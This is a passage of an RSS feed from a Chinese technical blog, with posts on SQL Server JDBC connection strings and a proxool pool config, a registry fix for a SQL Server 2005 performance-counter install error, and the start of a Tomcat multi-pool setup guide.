&lt;p&gt;连接到远程服务器上的指定数据库：&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;jdbc:sqlserver://localhost;databaseName=AdventureWorks;user=MyUserName;password=*****&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;        &lt;p&gt;连接到远程服务器上的非默认端口 4000：&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;jdbc:sqlserver://localhost:4000;databaseName=AdventureWorks;user=MyUserName;password=*****&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;        &lt;p&gt;通过指定自定义应用程序名称进行连接：&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;jdbc:sqlserver://localhost;databaseName=AdventureWorks;user=MyUserName;password=*****;applicationName=MyApp&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;&lt;/div&gt;        &lt;h1 class="heading"&gt;指定的多个 SQL Server 实例&lt;/h1&gt;        &lt;div class="section"&gt;&lt;content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5"&gt;&lt;/content&gt;&lt;p&gt;SQL Server 2000 和 SQL Server 2005 允许在每台服务器上安装多个数据库实例。每个实例都由一个专用名称所标识。若要连接到 SQL Server 的指定实例，可为指定实例指定端口号（首选），也可以将实例名指定为 JDBC URL 属性或 &lt;strong&gt;datasource&lt;/strong&gt; 属性。如果未指定实例名属性或端口号属性，则会创建与默认实例的连接。如下例所示：&lt;/p&gt;        &lt;p&gt;若要使用端口号，请执行下列操作：&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;jdbc:sqlserver://localhost:5555;user=MyUserName;&amp;lt;所需的更多属性&amp;gt;&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;        &lt;p&gt;若要使用 JDBC URL，请执行下列操作：&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;jdbc:sqlserver://localhost\instance1;user=MyUserName;&amp;lt;所需的更多属性&amp;gt;&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;        &lt;p&gt;若要使用指定属性，请执行下列操作：&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;jdbc:sqlserver://localhost\instanceName=instance1;user=MyUserName;&amp;lt;所需的更多属性&amp;gt;&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;&lt;/div&gt;        &lt;h1 class="heading"&gt;转义连接 URL 中的值&lt;/h1&gt;        &lt;div class="section"&gt;&lt;content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5"&gt;&lt;/content&gt;&lt;p&gt;由于包含特殊字符（如空格、分号和引号），所以必须转义连接 URL 值的某些部分。如果这些字符包含在大括号中，则 JDBC 驱动程序将支持转义这些字符。例如，{;} 将转义分号。&lt;/p&gt;        &lt;p&gt;转义的值可能包含特殊字符（特别是“=”、“;”、“[]”和空格），但不会包含大括号。应将必须进行转义且包含大括号的值添加到属性集中。&lt;/p&gt;        &lt;div style="MARGIN: 0.5em 1.5em"&gt;&lt;strong&gt;注意： &lt;/strong&gt;大括号内的空白为文本，不能删除。 &lt;p&gt; &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;        &lt;h1 class="heading"&gt;使用了 IPv6 地址的连接&lt;/h1&gt;        &lt;div class="section"&gt;&lt;content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5"&gt;&lt;/content&gt;&lt;p&gt;JDBC 驱动程序支持使用具有连接属性集和 serverName 连接字符串属性的 IPv6 地址。连接字符串不支持在 IPv6 地址中使用初始 serverName 值，如 jdbc:&lt;em&gt;sqlserver&lt;/em&gt;://&lt;em&gt;serverName&lt;/em&gt;。使用 &lt;em&gt;serverName&lt;/em&gt; 的名称而不是原始 IPv6 地址适用于连接中的所有情况。以下示例提供了详细信息。&lt;/p&gt;        &lt;p&gt;&lt;strong&gt;使用 serverName 属性&lt;/strong&gt;&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;jdbc:sqlserver://;serverName=3ffe:8311:eeee:f70f:0:5eae:10.203.31.9\\instance1;user=MyUserName;password=*****&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;        &lt;p&gt;&lt;strong&gt;使用属性集&lt;/strong&gt;&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;Properties pro = new Properties();&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;pro.setProperty("serverName", "serverName=3ffe:8311:eeee:f70f:0:5eae:10.203.31.9\\instance1");&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;Connection con = DriverManager.getConnection("jdbc:sqlserver://;user=MyUserName;password=*****;", pro);&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="新宋体"&gt;&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;&lt;code&gt;&lt;p&gt;&lt;code&gt;&lt;font face="新宋体"&gt;附一个tomcat连接池配置&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;&amp;lt;?xml version="1.0" encoding="ISO-8859-1"?&amp;gt;&lt;br&gt;&amp;lt;!-- the proxool configuration can be embedded within your own application's.&lt;br&gt;Anything outside the "proxool" tag is ignored. --&amp;gt;&lt;br&gt;&amp;lt;something-else-entirely&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;proxool&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;alias&amp;gt;xml-portal&amp;lt;/alias&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;driver-url&amp;gt;jdbc:sqlserver://127.0.0.1\SQl2005:1433;databaseName=db_test&amp;lt;/driver-url&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;driver-class&amp;gt;com.microsoft.jdbc.sqlserver.SQLServerDriver&amp;lt;/driver-class&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;driver-properties&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;property name="user" value="sa"/&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;property name="password" value="sa"/&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/driver-properties&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;maximum-connection-count&amp;gt;100&amp;lt;/maximum-connection-count&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;house-keeping-test-sql&amp;gt;select * from subject&amp;lt;/house-keeping-test-sql&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/proxool&amp;gt;&lt;br&gt;&amp;lt;/something-else-entirely&amp;gt;&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=94</guid><pubDate>Fri, 31 Aug 2007 01:31:00 GMT</pubDate></item><item><title>安装MSSQL Server 2005 开发版时出现性能计数器要求安装错误的解决办法</title><link>http://www.chendw.cn:8080/view.aspx?id=93</link><description>&lt;p&gt;&lt;span class="t18"&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/d026a25d34c24cc6b15d6c90729a5783.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/cd25ea4963134b0f9248d881bced5c13.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/ead162f605444920ba457f1607516005.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/45f99a87fa664532bc31425893de3561.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/d9021dacf66b4095920ad707d09189db.gif" target="_blank"&gt;&lt;/a&gt;现在，微软推出了 Sql Server 2005 简体中文版，不过大家基本上都是使用的 Sql Server 2005 的 Express 版，不过这个版本的管理界面并不好，所以我删除了这个版本，开始安装 Developer Edition 版。&lt;br /&gt;&lt;br /&gt;不过，在安装开发版的时候，安装程序在检查系统需求的时候，出现了如下图的错误，信息：&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/d026a25d34c24cc6b15d6c90729a5783.gif" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2011/01/d026a25d34c24cc6b15d6c90729a5783.gif" alt="1.gif" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;查看安装帮助后，发现有这一段话：&lt;br /&gt;&lt;br /&gt;1 在 Microsoft Windows 2003 或 Windows XP 桌面上，依次单击&amp;ldquo;开始&amp;rdquo;、&amp;ldquo;运行&amp;rdquo;，然后在&amp;ldquo;打开&amp;rdquo;中键入 regedit.exe，再单击&amp;ldquo;确定&amp;rdquo;。在 Windows 2000 中，使用 regedt32.exe 启动注册表编辑器。 &lt;/span&gt;&lt;/p&gt;
&lt;div class="postbody"&gt;
&lt;p&gt;2 定位到以下注册表项：&lt;/p&gt;
&lt;p&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib]&lt;/p&gt;
&lt;p&gt;"Last Counter"=dword:00000ed4 (5276)&lt;/p&gt;
&lt;p&gt;"LastHelp"=dword:00000ed5 (5277)&lt;/p&gt;
&lt;p&gt;3 上一步的&amp;ldquo;Last Counter&amp;rdquo;值 (5276) 必须与以下注册表项中&amp;ldquo;Perflib\&lt;span style="color: #ff0000;"&gt;004&lt;/span&gt;&amp;rdquo;(&lt;span style="color: #ff0000;"&gt;不是009，004对应中文版操作系统，009对应英文版操作系统&lt;/span&gt;)的&amp;ldquo;Counter&amp;rdquo;项的最大值匹配，并且上一步的&amp;ldquo;Last Help&amp;rdquo;值 (5277) 必须与以下注册表项中&amp;ldquo;Perflib\&lt;span style="color: #ff0000;"&gt;004&lt;/span&gt;&amp;rdquo;的&amp;ldquo;Help&amp;rdquo;项的最大值匹配。&lt;/p&gt;
&lt;p&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\009]&lt;/p&gt;
http://www.knowsky.com
&lt;p&gt;注意 009 是英文中的一个示例。&amp;ldquo;Last Counter&amp;rdquo;和&amp;ldquo;Last Help&amp;rdquo;值是由 Windows 动态分配的；这两个值会因计算机的不同而不同。&lt;/p&gt;
&lt;p&gt;4 如有必要，可修改&amp;ldquo;\Perflib&amp;rdquo;项中的&amp;ldquo;Last Counter&amp;rdquo;和&amp;ldquo;Last Help&amp;rdquo;值的值：在右侧窗格中，右键单击&amp;ldquo;Last Counter&amp;rdquo;或&amp;ldquo;Last Help&amp;rdquo;，单击&amp;ldquo;修改&amp;rdquo;，再单击&amp;ldquo;Base = "Decimal"&amp;rdquo;，在&amp;ldquo;值数据&amp;rdquo;中设置值，再单击&amp;ldquo;确定&amp;rdquo;。如有必要，对另一个项重复以上过程，然后关闭注册表编辑器。&lt;/p&gt;
&lt;p&gt;5 再次运行 SQL Server 安装程序。&lt;br /&gt;&lt;br /&gt;我完全按照以上叙述的步骤修改了注册表，可是始终出现这个问题。后来经过分析，发现原因有两个，即注册表值中的数字与实际数字不符合，还有就是根本不应该修改009这个注册表项中的值。因为我们使用的大多数是简体中文系统。所以修改方式如下：&lt;br /&gt;&lt;br /&gt;首先打开 &amp;ldquo;控制面板&amp;rdquo; --&amp;gt; &amp;ldquo;管理工具&amp;rdquo; 后，双击 &amp;ldquo;性能&amp;rdquo;，显示出性能分析器界面，在右边的控制台节点中展开 &amp;ldquo;性能日志和警报&amp;rdquo;后，用鼠标选择 &amp;ldquo;性能计数器&amp;rdquo;。&lt;br /&gt;&lt;br /&gt;然后双击右边窗口的 &amp;ldquo;System Overview&amp;rdquo;，显示 System Overview 属性窗口。&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;&lt;span&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/d026a25d34c24cc6b15d6c90729a5783.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/cd25ea4963134b0f9248d881bced5c13.gif" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2011/01/cd25ea4963134b0f9248d881bced5c13.gif" alt="2.gif" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;在窗口中的 &amp;ldquo;添加对象&amp;rdquo; 和 &amp;ldquo;添加计数器&amp;rdquo; 按钮分别单击一次，但单击后显示的窗口不要去动，直接选择取消。&lt;br /&gt;&lt;br /&gt;分别单击两个按钮后，单击缺定关闭 System Overview 属性窗口，然后关闭性能窗口。&lt;br /&gt;&lt;br /&gt;然后在 &amp;ldquo;开始&amp;rdquo; --&amp;gt;&amp;nbsp;&amp;nbsp; &amp;ldquo;运行&amp;rdquo;中输入 regedit，开启注册表编辑器。&lt;br /&gt;&lt;br /&gt;定位到&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib&lt;br /&gt;处，在右边的树形目录下可以看到Perflib目录下有004和009两个子目录。&lt;br /&gt;&lt;br /&gt;在Sql Server 2005 的安装帮助文件中说的是需要查看009目录的注册表项，而我们大部分人使用的是简体中文的操作系统，所以不能按帮助中说的，而是需要注意004目录中的内容。&lt;br /&gt;&lt;br /&gt;打开004 目录中的内容，可以看到如下图：&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/d026a25d34c24cc6b15d6c90729a5783.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/cd25ea4963134b0f9248d881bced5c13.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/ead162f605444920ba457f1607516005.gif" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2011/01/ead162f605444920ba457f1607516005.gif" alt="3.gif" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;我们分别双击 &amp;ldquo;Counter&amp;rdquo; 项 和 &amp;ldquo;Help&amp;rdquo; 项，察看其中的最后的数字，如下图：&lt;br /&gt;&lt;br /&gt;Counter 项的内容：&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/d026a25d34c24cc6b15d6c90729a5783.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/cd25ea4963134b0f9248d881bced5c13.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/ead162f605444920ba457f1607516005.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/45f99a87fa664532bc31425893de3561.gif" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2011/01/45f99a87fa664532bc31425893de3561.gif" alt="4.gif" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Helper 项内容&lt;/p&gt;
&lt;div&gt;&lt;span&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/d026a25d34c24cc6b15d6c90729a5783.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/cd25ea4963134b0f9248d881bced5c13.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/ead162f605444920ba457f1607516005.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/45f99a87fa664532bc31425893de3561.gif" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/d9021dacf66b4095920ad707d09189db.gif" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2011/01/d9021dacf66b4095920ad707d09189db.gif" alt="5.gif" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;这时候，我们知道，Counter 项的数字是5556，Helper项的内容是5557。&lt;br /&gt;&lt;br /&gt;然后，操作注册表编辑器的左边的目录树，定位到Perflib目录下，并注意检查右边窗口的 &amp;ldquo;Laster Counter&amp;rdquo;项和&amp;ldquo;Laster Help&amp;rdquo;项的值，并把Laster Counter的值改成刚才记录下的Counter值5556，把Laster Help 的值改成刚才记下的 Help的值5557。&lt;br /&gt;&lt;br /&gt;要注意的是，修改数字的时候，输入的时候必须选则基数是 &amp;ldquo;十进制&amp;rdquo;，否则数字将不匹配，Sql Server 2005 检查将再次失败。&lt;br /&gt;&lt;br /&gt;然后关闭注册表编辑器，开始安装 Sql Server 2005 ，绝对可以安装成功。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;注意：我上面说的5556和5557的数字，每个人每台计算机的数字都是不同的，所以必须要一步步来，检查出准确的数字填入，而不是直接看到5556/5557填写，这样还不行的。&lt;/div&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=93</guid><pubDate>Tue, 04 Jan 2011 01:05:34 GMT</pubDate></item><item><title>[Tomacat]配置多个连接池连接多个数据库</title><link>http://www.chendw.cn:8080/view.aspx?id=92</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align="left"&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 郁闷，百度空间文章限制真恶心，只好在这里先写一部分，完整的请看进下面的连接：&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align="left"&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align="left"&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a target="_blank" href="http://post.baidu.com/f?kz=255315546"&gt;点我查看完整&lt;font color="#ff0000"&gt;[Tomacat]配置多个连接池连接多个数据库&lt;/font&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align="left"&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align="left"&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;网上有很多配置多个连接池的帖子，相信这样的文章网上有很多，这里的说个比较简单的。&lt;/span&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align="left"&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;打开配置的网站目录下&lt;/span&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;WEB-INF&lt;/span&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;目录，新建&lt;/span&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;proxool.xml&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align="left"&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt;内容如下：&lt;/span&gt;&lt;span style="mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: teal; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;?xml version="1.0" encoding="ISO-8859-1"?&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; mso-font-kerning: 0pt"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: teal; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;font face="Times New Roman"&gt;&amp;lt;!--&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: teal; mso-font-kerning: 0pt; mso-shading: white; mso-pattern: gray-15 auto; mso-ascii-: white"&gt;这里我配置了两个别名用于连接两个数据库&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: teal; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;font face="Times New Roman"&gt;MSSQL&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: teal; mso-font-kerning: 0pt; mso-shading: white; mso-pattern: gray-15 auto; mso-ascii-: white"&gt;和&lt;/span&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: teal; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;ORACLE--&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; mso-font-kerning: 0pt"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;something-else-entirely&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;proxool&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; mso-font-kerning: 0pt"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; 